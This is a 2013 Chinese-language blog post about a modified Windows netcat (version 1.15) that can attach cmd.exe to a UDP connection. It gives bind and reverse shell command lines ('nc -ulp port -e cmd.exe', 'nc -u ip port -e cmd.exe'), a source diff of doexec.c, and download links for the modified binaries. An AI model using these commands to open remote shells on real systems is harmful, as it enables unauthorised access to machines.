您的位置:首页 > 其它

update netcat 1.14 to 1.15 to support nc -u -lp port -e cmd.exe

2013-05-11 13:34 295 查看
更新说明:netcat-1.14之前的版本不支持udp模式下得到一个shell,既同时使用-u选项和-e选项。

netcat-1.15下可以,使用如下:

1.nc -ulp port -e cmd.exe    nc -u ip port

2.nc -ulp port     nc -u ip port-e
cmd.exe




nc115.rar by chenghao0511#gmail.com
http://pan.baidu.com/share/link?shareid=470304&uk=453348606 http://www.kuaipan.cn/file/id_9282957629980996.htm
update netcat 1.14 to 1.15

modify by chenghao0511#gmail.com 2013/05/11

why?

netcat 1.14 can not support :

nc -u -lp port -e cmd.exe

nc -u ip port

how to update:(in doexec.c in SessionWriteShellThreadFn)

-    BYTE    RecvBuffer[1];

+    BYTE    RecvBuffer[8192];

-     BYTE    Buffer[BUFFER_SIZE];

-    while (recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) != 0) {

+    while ((BufferCnt = recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0)) != 0) {

-        Buffer[BufferCnt++] = RecvBuffer[0];

-        if (RecvBuffer[0] == '\r')

-                Buffer[BufferCnt++] = '\n';

        // Trap exit as it causes problems

-        if (strnicmp(Buffer, "exit\n", 5) == 0)

-            ExitThread(0);

        //

        // If we got a CR, it's time to send what we've buffered up down to the

        // shell process.

        // SECURITY FIX: CW 12/27/04 Add BufferCnt size check.  If we hit end of buffer, flush it

        if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > BUFFER_SIZE-1) {

            if (! WriteFile(Session->WritePipeHandle, Buffer, BufferCnt,

                            &BytesWritten, NULL))

            {

                break;

            }

            BufferCnt = 0;

        }

changed to:

        //if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > BUFFER_SIZE-1) {

            if (! WriteFile(Session->WritePipeHandle, RecvBuffer, BufferCnt,

                            &BytesWritten, NULL))

            {

                break;

            }

            BufferCnt = 0;

        //}

(13-05-14)更新说明:更正了本地输入exit后,远程退出,本地不退出的情况,udp不是面向连接的所以,对方关闭套接字,己方不会自动关闭套接字,需要自己选择一个时机退出。

    rr = send (fd, zp, rr, 0);    /* one line, or the whole buffer */

+        if (strnicmp(zp, "exit\n", 5) == 0) /* UDP after input "exit",break! by chenghao0511 2013-05-14*/

+           if(o_udpmode)

+              break;

netcat 1.15-2 by chenghao0511

netcat-1.152可以用

nc -C -uip port -e cmd.exe

nc -ulp port
http://pan.baidu.com/share/link?shareid=476358&uk=453348606 http://www.kuaipan.cn/file/id_9282957629981000.htm
netcat-1.152的情况下,既UDP模式下,可以内网ip和外网ip相互通信。

netcat 1.13-3对-u参数既UDP模式下crtl+c进行了出来,本地发送"exit\n"到远端。

netcat 1.15-3 by chenghao0511
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: